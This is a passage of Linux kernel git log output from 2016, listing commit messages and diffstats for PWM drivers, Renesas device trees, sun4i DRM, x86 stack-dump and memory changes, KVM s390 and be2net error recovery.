subsequent patches that add support for PWM capture to this driver. Signed-off-by: Lee Jones Signed-off-by: Thierry Reding drivers/pwm/pwm-sti.c | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) commit d81738b76feee2cf8f296ef943966f3f2a0e3fce Author: Lee Jones Date: Tue Aug 16 10:35:00 2016 +0100 pwm: sti: Only request clock rate when needed In the original code the clock rate was only obtained during initialisation; however, the rate may change between then and its use. This patch ensures the correct rate is acquired just before use. Signed-off-by: Lee Jones Signed-off-by: Thierry Reding drivers/pwm/pwm-sti.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit c5f94ae639236e53970841d494d1ac2140181232 Author: Lee Jones Date: Tue Aug 16 10:34:59 2016 +0100 pwm: sti: Reorganise register names in preparation for new functionality Exciting functionality is on the way to this device. But before we can add it, we need to do some basic housekeeping so the additions can be added cleanly. Signed-off-by: Lee Jones Signed-off-by: Thierry Reding drivers/pwm/pwm-sti.c | 76 +++++++++++++++++++++++++++------------------------ 1 file changed, 41 insertions(+), 35 deletions(-) commit 09022e61d53c135ad967bb61c0b6ba957f216b70 Author: Lee Jones Date: Tue Aug 16 10:34:58 2016 +0100 pwm: sti: Rename channel => device This is to bring the terminology used in the STi PWM driver more into line with the PWM subsystem. Signed-off-by: Lee Jones Signed-off-by: Thierry Reding drivers/pwm/pwm-sti.c | 32 ++++++++++++++++---------------- 1 file changed, 16 insertions(+), 16 deletions(-) commit 055beac1317900fa5e860b13d60109e76cf55733 Author: Lee Jones Date: Tue Aug 16 10:35:08 2016 +0100 dt-bindings: pwm: sti: Update DT bindings for capture support In order to support capture of PWM signals a new clock as well as an interrupt line are required. Furthermore a new property is introduced that allows the number of capture channels to be specified. Typically there will be less capture channels than output channels, since all channels have the latter capability, but only some have support for capture. Signed-off-by: Lee Jones Acked-by: Rob Herring Signed-off-by: Thierry Reding Documentation/devicetree/bindings/pwm/pwm-st.txt | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) commit fe0e2cf931fc3c156850ae5184e7ecf9576431f8 Author: oliver@schinagl.nl Date: Thu Aug 25 18:47:09 2016 +0200 pwm: lpc-18xx: use pwm_set_chip_data The lpc-18xx driver currently manipulates the pwm_device struct directly rather than using the pwm_set_chip_data() function. While the current method may save a clock cycle or two, using the explicit function call makes it more obvious that data is set to the local chip data pointer. Signed-off-by: Olliver Schinagl Reviewed-by: Ariel D'Alessandro Signed-off-by: Thierry Reding drivers/pwm/pwm-lpc18xx-sct.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 42ddcf4f9ebbfeac75fac3851f2807833b222399 Author: Milo Kim Date: Wed Aug 31 17:25:20 2016 +0900 pwm: sunxi: Add H3 support H3 PWM controller has same register layout as sun4i driver, so it works by adding H3 specific data. Cc: Thierry Reding Cc: Rob Herring Cc: Maxime Ripard Cc: Alexandre Belloni Cc: Chen-Yu Tsai Cc: linux-pwm@vger.kernel.org Cc: devicetree@vger.kernel.org Cc: linux-arm-kernel@lists.infradead.org Cc: linux-kernel@vger.kernel.org Signed-off-by: Milo Kim Acked-by: Chen-Yu Tsai Reviewed-by: Alexandre Belloni Acked-by: Rob Herring Signed-off-by: Thierry Reding Documentation/devicetree/bindings/pwm/pwm-sun4i.txt | 1 + drivers/pwm/pwm-sun4i.c | 9 +++++++++ 2 files changed, 10 insertions(+) commit 211ed630753d2f0553ff642346e9995503bc240d Author: Neil Armstrong Date: Mon Aug 22 17:36:30 2016 +0200 pwm: Add support for Meson PWM Controller Add support for the PWM controller found in the Amlogic SoCs. This driver supports the Meson8b and GXBB SoCs. Signed-off-by: Neil Armstrong Tested-by: Martin Blumenstingl Tested-by: Jerome Brunet Signed-off-by: Thierry Reding drivers/pwm/Kconfig | 9 + drivers/pwm/Makefile | 1 + drivers/pwm/pwm-meson.c | 520 ++++++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 530 insertions(+) commit bbfd09d95466833f58ee487fd67be0ce7276be93 Author: Patrice Chotard Date: Thu Sep 8 09:36:19 2016 +0200 ARM: dts: STiH410-b2260: add clk_ignore_unused in bootargs This allows to make the board boot even if clock handling by all drivers is not properly done. Reported-by: Peter Griffin Signed-off-by: Patrice Chotard arch/arm/boot/dts/stih410-b2260.dts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fa765e5ef49d57834ee66690ba8ed5932edb7968 Author: Takeshi Kihara Date: Wed Aug 17 11:13:51 2016 +0200 arm64: dts: r8a7796: Add GPIO device nodes Add GPIO device nodes to the DT of the r8a7796 SoC. Signed-off-by: Takeshi Kihara Signed-off-by: Simon Horman Reviewed-by: Geert Uytterhoeven Reviewed-by: Laurent Pinchart Tested-by: Laurent Pinchart arch/arm64/boot/dts/renesas/r8a7796.dtsi | 112 +++++++++++++++++++++++++++++++ 1 file changed, 112 insertions(+) commit 6b5f8e7e7fc5e5ff293d95406d1adb2e24e037ce Author: Ulrich Hecht Date: Thu Aug 18 15:12:35 2016 +0200 arm64: dts: r8a7796: salvator-x: add serial console pins Adds pin control for SCIF2. Signed-off-by: Ulrich Hecht Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7796-salvator-x.dts | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 50809470486ae28a814c17f813d9201c3299692f Author: Takeshi Kihara Date: Thu Aug 18 15:12:34 2016 +0200 arm64: dts: r8a7796: Add pinctrl device node This patch adds pinctrl device node for R8A7796 SoC. Signed-off-by: Takeshi Kihara Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7796.dtsi | 5 +++++ 1 file changed, 5 insertions(+) commit 272bde03842b2e89892f876cb2d2285c2ae7eada Author: Laurent Pinchart Date: Fri Aug 12 12:18:55 2016 +0300 arm64: dts: r8a7795: salvator-x: Configure pins for the DU RGB output Signed-off-by: Laurent Pinchart Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-salvator-x.dts | 7 +++++++ 1 file changed, 7 insertions(+) commit e8c841f5ac166e602646c955aa1b0b7499900101 Author: Vladimir Barinov Date: Mon Sep 5 15:40:21 2016 +0300 arm64: dts: h3ulcb: enable GPIO leds This supports GPIO leds on H3ULCB board Signed-off-by: Vladimir Barinov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-h3ulcb.dts | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 2627d5179f2c9e0a15a7ccc257d290719efdf694 Author: Vladimir Barinov Date: Fri Sep 2 19:25:29 2016 +0300 arm64: dts: h3ulcb: Sound SSI support This supports SSI sound for H3ULCB board. SSI DMA mode used. CS2000 used as AUDIO_CLK_B. Signed-off-by: Vladimir Barinov Acked-by: Kuninori Morimoto Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-h3ulcb.dts | 118 +++++++++++++++++++++++++ 1 file changed, 118 insertions(+) commit 57094363192098bd798aab07851b702f563fb0a2 Author: Vladimir Barinov Date: Fri Sep 2 19:25:08 2016 +0300 arm64: dts: h3ulcb: enable SDHI0 This supports SDHI0 on H3ULCB board SD card slot Signed-off-by: Vladimir Barinov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-h3ulcb.dts | 49 ++++++++++++++++++++++++++ 1 file changed, 49 insertions(+) commit 0e3886a981e062740fbb89670f79fd57caed8137 Author: Vladimir Barinov Date: Fri Sep 2 19:24:58 2016 +0300 arm64: dts: h3ulcb: enable GPIO keys This supports GPIO keys on H3ULCB board Signed-off-by: Vladimir Barinov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-h3ulcb.dts | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit 56de959f533f5138f1cd5aaa4706e1831c479e28 Author: Simon Horman Date: Tue Aug 30 23:09:55 2016 +0200 arm64: dts: r8a7795: remove unnecessary cap-mmc-highspeed property Remove cap-mmc-highspeed property from SDHI2 and SDHI3. This property is unnecessary as the driver automatically sets the highspeed capability. Furthermore its use is inconsistent with SDHI0 and SDHI1 which are also highspeed capable but do not have this property present. Found by inspection. Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795.dtsi | 2 -- 1 file changed, 2 deletions(-) commit 15907f1f875f267ea0111654f52966c0adadb3ea Author: Vladimir Barinov Date: Wed Aug 31 13:04:03 2016 +0300 arm64: dts: h3ulcb: enable USB2.0 Host channel 1 This supports USB2.0 Host channel 1 on H3ULCB board Signed-off-by: Vladimir Barinov Reviewed-by: Geert Uytterhoeven Signed-off-by: Simon Horman arch/arm64/boot/dts/renesas/r8a7795-h3ulcb.dts | 8 ++++++++ 1 file changed, 8 insertions(+) commit cd8fff504d636b28abad652b0ae45f8b54ab0cc9 Author: Maxime Ripard Date: Thu Jun 9 14:01:58 2016 +0200 drm/sun4i: Add a DRC driver The A33 pipeline also has a component called DRC. Even though its exact features and programming model is not known (or documented), it needs to be clocked for the pipeline to carry the video signal all the way. Add a minimal driver for it that just claim the needed resources for the pipeline to operate properly. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai Acked-by: Peter Korsgaard .../bindings/display/sunxi/sun4i-drm.txt | 24 +++++ drivers/gpu/drm/sun4i/Makefile | 2 +- drivers/gpu/drm/sun4i/sun6i_drc.c | 118 +++++++++++++++++++++ 3 files changed, 143 insertions(+), 1 deletion(-) commit 440d2c7b127a8b3aab21eb140262bb29c4ee804f Author: Maxime Ripard Date: Tue Sep 6 15:23:03 2016 +0200 drm/sun4i: backend: Handle the SAT The A33 has an block called SAT that is part of the backend that needs to be clocked and out of reset to be able for the backend to operate properly. Extend the binding to have the SAT resources listed, and claim them when the backend probes. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai .../bindings/display/sunxi/sun4i-drm.txt | 8 +++ drivers/gpu/drm/sun4i/sun4i_backend.c | 60 ++++++++++++++++++++++ drivers/gpu/drm/sun4i/sun4i_backend.h | 3 ++ 3 files changed, 71 insertions(+) commit 4a408f1f639bd702cc2699d33161f3590c942c2c Author: Maxime Ripard Date: Thu Jan 7 12:32:25 2016 +0100 drm/sun4i: support A33 tcon The A33 has a significantly different pipeline, with components that differ too. Make sure we had compatible for them. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai Documentation/devicetree/bindings/display/sunxi/sun4i-drm.txt | 11 +++++++++-- drivers/gpu/drm/sun4i/sun4i_backend.c | 1 + drivers/gpu/drm/sun4i/sun4i_drv.c | 8 +++++--- drivers/gpu/drm/sun4i/sun4i_tcon.c | 8 +++++++- 4 files changed, 22 insertions(+), 6 deletions(-) commit 3ec979658e5cc0fab86a42af79a650299e4d7135 Author: Wei Yang Date: Sat Aug 20 01:40:13 2016 +0000 x86/e820: Fix very large 'size' handling boundary condition The (start, size) tuple represents a range [start, start + size - 1], which means "start" and "start + size - 1" should be compared to see whether the range overflows. For example, a range with (start, size): (0xffffffff fffffff0, 0x00000000 00000010) represents [0xffffffff fffffff0, 0xffffffff ffffffff] ... would be judged overflow in the original code, while actually it is not. This patch fixes this and makes sure it still works when size is zero. Signed-off-by: Wei Yang Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Kees Cook Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: yinghai@kernel.org Link: http://lkml.kernel.org/r/1471657213-31817-1-git-send-email-richard.weiyang@gmail.com Signed-off-by: Ingo Molnar arch/x86/kernel/e820.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit c14b88d76624e02b9895914b85b9d8b2c984563c Author: Janosch Frank Date: Fri Jul 29 11:36:04 2016 +0200 KVM: s390: gaccess: simplify translation exception handling The payload data for protection exceptions is a superset of the payload of other translation exceptions. Let's set the additional flags and use a fall through to minimize code duplication. Signed-off-by: Janosch Frank Reviewed-by: David Hildenbrand Signed-off-by: Christian Borntraeger arch/s390/kvm/gaccess.c | 37 ++++++++++++++++++------------------- 1 file changed, 18 insertions(+), 19 deletions(-) commit b1ffffbd0f3bf362e578ee577437a8df5e06e495 Author: David Hildenbrand Date: Fri May 27 15:24:33 2016 +0200 KVM: s390: guestdbg: separate defines for per code Let's avoid working with the PER_EVENT* defines, used for control register manipulation, when checking the u8 PER code. Introduce separate defines based on the existing defines. Reviewed-by: Eric Farman Signed-off-by: David Hildenbrand Signed-off-by: Christian Borntraeger arch/s390/kvm/guestdbg.c | 28 +++++++++++++++++----------- 1 file changed, 17 insertions(+), 11 deletions(-) commit 8953fb08abf8bf9fd2ee5db148ce52a0f36c284f Author: David Hildenbrand Date: Wed Aug 3 12:25:08 2016 +0200 KVM: s390: write external damage code on machine checks Let's also write the external damage code already provided by struct kvm_s390_mchk_info. Reviewed-by: Cornelia Huck Signed-off-by: David Hildenbrand Signed-off-by: Christian Borntraeger arch/s390/kernel/asm-offsets.c | 1 + arch/s390/kvm/interrupt.c | 2 ++ 2 files changed, 3 insertions(+) commit ff5dc1492a11a6c90955ab34063be1cddc54ec00 Author: David Hildenbrand Date: Wed Oct 14 16:57:56 2015 +0200 KVM: s390: fix delivery of vector regs during machine checks Vector registers are only to be stored if the facility is available and if the guest has set up the machine check extended save area. If anything goes wrong while writing the vector registers, the vector registers are to be marked as invalid. Please note that we are allowed to write the registers although they are marked as invalid. Machine checks and "store status" SIGP orders are two different concepts, let's correctly separate these. As the SIGP part is completely handled in user space, we can drop it. This patch is based on a patch from Cornelia Huck. Reviewed-by: Cornelia Huck Signed-off-by: David Hildenbrand Signed-off-by: Christian Borntraeger arch/s390/kvm/interrupt.c | 15 +++++++++++++-- arch/s390/kvm/kvm-s390.c | 32 -------------------------------- arch/s390/kvm/kvm-s390.h | 3 --- 3 files changed, 13 insertions(+), 37 deletions(-) commit 0319dae6770fe3727c2d2cd03ca2c5d1b67f31b9 Author: David Hildenbrand Date: Wed Aug 3 11:18:57 2016 +0200 KVM: s390: split store status and machine check handling Store status writes the prefix which is not to be done by a machine check. Also, the psw is stored and later on overwritten by the failing-storage address, which looks strange at first sight. Store status and machine check handling look similar, but they are actually two different things. Reviewed-by: Cornelia Huck Signed-off-by: David Hildenbrand Signed-off-by: Christian Borntraeger arch/s390/kvm/interrupt.c | 29 ++++++++++++++++++++++++++++- 1 file changed, 28 insertions(+), 1 deletion(-) commit d6404ded303600a253e1770fa6670236adf12ce9 Author: David Hildenbrand Date: Wed Oct 14 16:47:36 2015 +0200 KVM: s390: factor out actual delivery of machine checks Let's factor this out to prepare for bigger changes. Reorder to calls to match the logical order given in the PoP. Reviewed-by: Cornelia Huck Signed-off-by: David Hildenbrand Signed-off-by: Christian Borntraeger arch/s390/kvm/interrupt.c | 54 +++++++++++++++++++++++++++-------------------- 1 file changed, 31 insertions(+), 23 deletions(-) commit 8e9240472522bd53d9372a03357b9f0ca8faef59 Author: Maxime Ripard Date: Thu Jan 7 12:32:07 2016 +0100 drm/sun4i: support TCONs without channel 1 Some Allwinner SoCs, such as the A33, have a variation of the TCON that doesn't have a second channel (or it is not wired to anything). Make sure we can handle that case. Signed-off-by: Maxime Ripard Acked-by: Chen-Yu Tsai drivers/gpu/drm/sun4i/sun4i_tcon.c | 34 +++++++++++++++++++++------------- drivers/gpu/drm/sun4i/sun4i_tcon.h | 2 ++ 2 files changed, 23 insertions(+), 13 deletions(-) commit 5a8ff54c260ecfed3de9b8d1272eb87826935df8 Author: Josh Poimboeuf Date: Wed Aug 24 11:50:18 2016 -0500 x86/dumpstack: Remove unnecessary stack pointer arguments When calling show_stack_log_lvl() or dump_trace() with a regs argument, providing a stack pointer or frame pointer is redundant. Signed-off-by: Josh Poimboeuf d Reviewed-by: Andy Lutomirski Cc: Andy Lutomirski Cc: Brian Gerst Cc: Byungchul Park Cc: Frederic Weisbecker Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1694e2e955e3b9a73a3c3d5ba2634344014dd550.1472057064.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack.c | 2 +- arch/x86/kernel/dumpstack_32.c | 2 +- arch/x86/kernel/dumpstack_64.c | 5 +---- arch/x86/oprofile/backtrace.c | 5 +---- 4 files changed, 4 insertions(+), 10 deletions(-) commit 4b8afafbe743be1a81c96ddcd75b19c534d5e262 Author: Josh Poimboeuf Date: Wed Aug 24 11:50:17 2016 -0500 x86/dumpstack: Add get_stack_pointer() and get_frame_pointer() The various functions involved in dumping the stack all do similar things with regard to getting the stack pointer and the frame pointer based on the regs and task arguments. Create helper functions to do that instead. Signed-off-by: Josh Poimboeuf Reviewed-by: Andy Lutomirski Cc: Andy Lutomirski Cc: Brian Gerst Cc: Byungchul Park Cc: Frederic Weisbecker Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/f448914885a35f333fe04da1b97a6c2cc1f80974.1472057064.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/include/asm/stacktrace.h | 41 ++++++++++++++++++++++----------------- arch/x86/kernel/dumpstack.c | 5 ++--- arch/x86/kernel/dumpstack_32.c | 25 ++++-------------------- arch/x86/kernel/dumpstack_64.c | 30 ++++------------------------ 4 files changed, 33 insertions(+), 68 deletions(-) commit d438f5fda30ec087512355e405e9c8955d8bd337 Author: Josh Poimboeuf Date: Wed Aug 24 11:50:16 2016 -0500 x86/dumpstack: Make printk_stack_address() more generally useful Change printk_stack_address() to be useful when called by an unwinder outside the context of dump_trace(). Specifically: - printk_stack_address()'s 'data' argument is always used as the log level string. Make that explicit. - Call touch_nmi_watchdog(). Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Brian Gerst Cc: Byungchul Park Cc: Frederic Weisbecker Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/9fbe0db05bacf66d337c162edbf61450d0cff1e2.1472057064.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 3e344a0db900757caaf0beeb749de4c7b59bfd60 Author: Josh Poimboeuf Date: Wed Aug 24 11:50:15 2016 -0500 oprofile/x86: Add regs->ip to oprofile trace dump_trace() doesn't add the interrupted instruction's address to the trace, so add it manually. This makes the profile more useful, and also makes it more consistent with what perf profiling does. Signed-off-by: Josh Poimboeuf Acked-by: Robert Richter Cc: Andy Lutomirski Cc: Brian Gerst Cc: Byungchul Park Cc: Frederic Weisbecker Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/6c745a83dbd69fc6857ef9b2f8be0f011d775936.1472057064.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/oprofile/backtrace.c | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) commit 019e579d395733d14097c2d29c8c43226dad1617 Author: Josh Poimboeuf Date: Wed Aug 24 11:50:14 2016 -0500 perf/x86: Check perf_callchain_store() error Add a check to perf_callchain_kernel() so that it returns early if the callchain entry array is already full. Signed-off-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Brian Gerst Cc: Byungchul Park Cc: Frederic Weisbecker Cc: Kees Cook Cc: Linus Torvalds Cc: Nilay Vaish Cc: Peter Zijlstra Cc: Steven Rostedt Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/dce6d60bab08be2600efd90021d9b85620646161.1472057064.git.jpoimboe@redhat.com Signed-off-by: Ingo Molnar arch/x86/events/core.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 1d723de7396c1c028a091a37b2211ff6892c7f52 Author: Colin Ian King Date: Sun Aug 28 11:51:06 2016 +0100 selftests/x86: Fix spelling mistake "preseve" -> "preserve" Trivial fix to spelling mistakes in printf messages. Signed-off-by: Colin Ian King Acked-by: Andy Lutomirski Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Shuah Khan Cc: Thomas Gleixner Cc: linux-kselftest@vger.kernel.org Link: http://lkml.kernel.org/r/20160828105106.9763-1-colin.king@canonical.com Signed-off-by: Ingo Molnar tools/testing/selftests/x86/ptrace_syscall.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 9472fe7040bba45c6200858cbe40d643cf02bccb Author: Andy Lutomirski Date: Tue Aug 30 08:04:15 2016 -0700 virtio_console: Stop doing DMA on the stack virtio_console uses a small DMA buffer for control requests. Move that buffer into heap memory. Doing virtio DMA on the stack is normally okay on non-DMA-API virtio systems (which is currently most of them), but it breaks completely if the stack is virtually mapped (CONFIG_VMAP_STACK=y). Tested by typing both directions using picocom aimed at /dev/hvc0. Signed-off-by: Andy Lutomirski Reviewed-by: Amit Shah Cc: Linus Torvalds Cc: Michael S. Tsirkin Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: virtualization@lists.linux-foundation.org Link: http://lkml.kernel.org/r/0afe68f9b4be6c95af9e7672b07acd0274c26dfe.1472569320.git.luto@kernel.org Signed-off-by: Ingo Molnar drivers/char/virtio_console.c | 23 +++++++++++++++-------- 1 file changed, 15 insertions(+), 8 deletions(-) commit 6271cfdfc0e4731b76921ef02fdd87409d71dfdf Author: Andy Lutomirski Date: Tue Aug 30 17:27:57 2016 -0700 x86/mm: Improve stack-overflow #PF handling If we get a page fault indicating kernel stack overflow, invoke handle_stack_overflow(). To prevent us from overflowing the stack again while handling the overflow (because we are likely to have very little stack space left), call handle_stack_overflow() on the double-fault stack. Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/6d6cf96b3fb9b4c9aa303817e1dc4de0c7c36487.1472603235.git.luto@kernel.org [ Minor edit. ] Signed-off-by: Ingo Molnar arch/x86/include/asm/traps.h | 6 ++++++ arch/x86/kernel/traps.c | 6 +++--- arch/x86/mm/fault.c | 32 ++++++++++++++++++++++++++++++++ 3 files changed, 41 insertions(+), 3 deletions(-) commit 2b3061c77ce7e429b25a25560ba088e8e7193a67 Merge: 0117525 25dfe47 Author: Ingo Molnar Date: Thu Sep 8 08:41:52 2016 +0200 Merge branch 'x86/mm' into x86/asm, to unify the two branches for simplicity Signed-off-by: Ingo Molnar commit 0f76d2564469fd3a337de088f533364cef206130 Author: subashab@codeaurora.org Date: Tue Sep 6 18:09:31 2016 -0600 net: xfrm: Change u32 sysctl entries to use proc_douintvec proc_dointvec limits the values to INT_MAX in u32 sysctl entries. proc_douintvec allows to write upto UINT_MAX. Signed-off-by: Subash Abhinov Kasiviswanathan Signed-off-by: David S. Miller net/xfrm/xfrm_sysctl.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit f5fbf848303c8704d0e1a1e7cabd08fd0a49552f Author: Andy Shevchenko Date: Tue Sep 6 21:42:54 2016 +0300 x86/cpu: Rename Merrifield2 to Moorefield Merrifield2 is actually Moorefield. Rename it accordingly and drop tail digit from Merrifield1. Signed-off-by: Andy Shevchenko Cc: Dave Hansen Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160906184254.94440-1-andriy.shevchenko@linux.intel.com Signed-off-by: Ingo Molnar arch/x86/include/asm/intel-family.h | 4 ++-- arch/x86/platform/atom/punit_atom_debug.c | 2 +- drivers/pci/pci-mid.c | 2 +- drivers/powercap/intel_rapl.c | 4 ++-- 4 files changed, 6 insertions(+), 6 deletions(-) commit bda7b072de999280ef78aaea4335ec58afc4bdb2 Author: Andy Shevchenko Date: Wed Sep 7 15:39:55 2016 +0300 x86/platform/intel-mid: Implement power off sequence Tell SCU that we are about powering off the device. Signed-off-by: Andy Shevchenko Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/20160907123955.21228-1-andriy.shevchenko@linux.intel.com Signed-off-by: Ingo Molnar arch/x86/include/asm/intel-mid.h | 2 ++ arch/x86/include/asm/intel_scu_ipc.h | 2 ++ arch/x86/platform/intel-mid/intel-mid.c | 5 +++++ arch/x86/platform/intel-mid/pwr.c | 24 +++++++++++++++++++++++- 4 files changed, 32 insertions(+), 1 deletion(-) commit 015777be2d489dcf9217353b6492ddc6ae85c1b2 Merge: dd0cb7d 368f2f1 Author: David S. Miller Date: Wed Sep 7 22:44:56 2016 -0700 Merge branch 'be2net-error-recovery-and-bug-fixes' Sriharsha Basavapatna says: ==================== be2net: patch-set The following patch set contains an error recovery feature and a few bug fixes. Please consider applying this to the net-next tree. Thanks. Patch-1 Supports HW error recovery in Skyhawk/BEx adapters Patch-2 Fixes driver unload to issue function reset FW command Patch-3 Avoids issuing GET_EXT_FAT_CAPABILITIES command for VFs Patch-4 Avoids redundant addition of mac address in HW Patch-5 Fixes mac address collision in some configurations Patch-6 Updates driver version ==================== Signed-off-by: David S. Miller commit 368f2f137f5401f37d2acb42c4ca4e5867570495 Author: Sriharsha Basavapatna Date: Wed Sep 7 19:57:54 2016 +0530 be2net: Update the driver version to 11.1.0.0 Signed-off-by: Sriharsha Basavapatna Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c27ebf58517536c0006813007680b24db17def47 Author: Suresh Reddy Date: Wed Sep 7 19:57:53 2016 +0530 be2net: Fix mac address collision in some configurations If the device mac address is updated using ndo_set_mac_address(), while the same mac address is already programmed, the driver does not detect this condition if its netdev->dev_addr has been changed. The driver tries to add the same mac address resulting in mac address collision error. This has been observed in bonding mode-5 configuration. To fix this, store the mac address configured in HW in the adapter structure. Use this to compare against the new address being updated to avoid collision. Signed-off-by: Suresh Reddy Signed-off-by: Sathya Perla Signed-off-by: Sriharsha Basavapatna Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be.h | 1 + drivers/net/ethernet/emulex/benet/be_main.c | 6 ++++-- 2 files changed, 5 insertions(+), 2 deletions(-) commit 988d44b1636d7f608bd7926493e0f61a034b61db Author: Suresh Reddy Date: Wed Sep 7 19:57:52 2016 +0530 be2net: Avoid redundant addition of mac address in HW If a mac address is added to the uc_list and later the same mac address is added via ndo_set_mac_address() or vice versa, the driver does not detect this condition and tries to add it again. This results in a mac address collision error when the FW rejects it. Fix this by checking if the given mac address is present in uc_list while setting the device mac address and vice versa. Similarly skip deletion if the address is still in use in the other form. Signed-off-by: Suresh Reddy Signed-off-by: Sathya Perla Signed-off-by: Sriharsha Basavapatna Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_main.c | 86 ++++++++++++++++++++++------- 1 file changed, 66 insertions(+), 20 deletions(-) commit 62259ac4b36e348077635e673f253cc139dd6032 Author: Somnath Kotur Date: Wed Sep 7 19:57:51 2016 +0530 be2net: Add privilege level check for OPCODE_COMMON_GET_EXT_FAT_CAPABILITIES SLI cmd. Driver issues OPCODE_COMMON_GET_EXT_FAT_CAPABILITIES cmd during init which when issued by VFs results in the logging of a cmd failure message since they don't have the required privilege for this cmd. Fix by checking privilege before issuing the cmd. Also fixed typo in CAPABILITIES. Signed-off-by: Somnath Kotur Signed-off-by: Sriharsha Basavapatna Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_cmds.c | 13 +++++++++++-- drivers/net/ethernet/emulex/benet/be_cmds.h | 4 ++-- 2 files changed, 13 insertions(+), 4 deletions(-) commit f72099e057c0b3ea3cfd16301cff9202c4db8ef4 Author: Somnath Kotur Date: Wed Sep 7 19:57:50 2016 +0530 be2net: Issue COMMON_RESET_FUNCTION cmd during driver unload As per SLI guideline, drivers need to issue COMMON_RESET_FUNCTION SLI cmd during driver unload to clean up any non-persistent state information. Issue this cmd only if VFs are not assigned to VMs as it is possible for PF driver to unload while it\'s VF remains functional and assigned to a VM. Signed-off-by: Somnath Kotur Signed-off-by: Sriharsha Basavapatna Signed-off-by: David S. Miller drivers/net/ethernet/emulex/benet/be_main.c | 3 +++ 1 file changed, 3 insertions(+) commit 710f3e5961a71dd58fe367eac48deecd5af45a48 Author: Sriharsha Basavapatna Date: Wed Sep 7 19:57:49 2016 +0530 be2net: Support UE recovery in BEx/Skyhawk adapters This patch supports recovery from UEs caused due to Transient Parity Errors (TPE), in BE2, BE3 and Skyhawk adapters. This change avoids system reboot when such errors occur. The driver recovers from these errors such that the adapter resumes full operational status as prior to the UE. Following is the list of changes in the driver to support this: o The driver registers its UE recoverable capability with ARM FW at init time. This also allows the driver to know if the feature is supported in the FW. o As the UE recovery requires precise time bound processing, the driver creates its own error recovery work queue with a single worker thread (per module, shared across functions). o Each function runs an error detection task at an interval of 1 second as required by the FW. The error detection logic already exists for BEx/SH, but it now runs in the context of a separate worker thread. o When an error is detected by the task, if it is recoverable, the PF0 driver instance initiates a soft reset, while other PF driver instances wait for the reset to complete and the chip to become ready. Once the chip is ready, all driver instances including PF0, resume to reinitialize the respective functions. o The PF0 driver checks for some recovery criteria, to determine if the recovery can be initiated. If the criteria is not met, the PF0 driver does not initiate a soft reset, it retains the existing behavior to stop further processing and requires a reboot to get the chip to operational state again. o To allow each function to share the workq, while also making progress in its recovery process, a per-function recovery state machine is used. The per-function tasks avoid blocking operations like 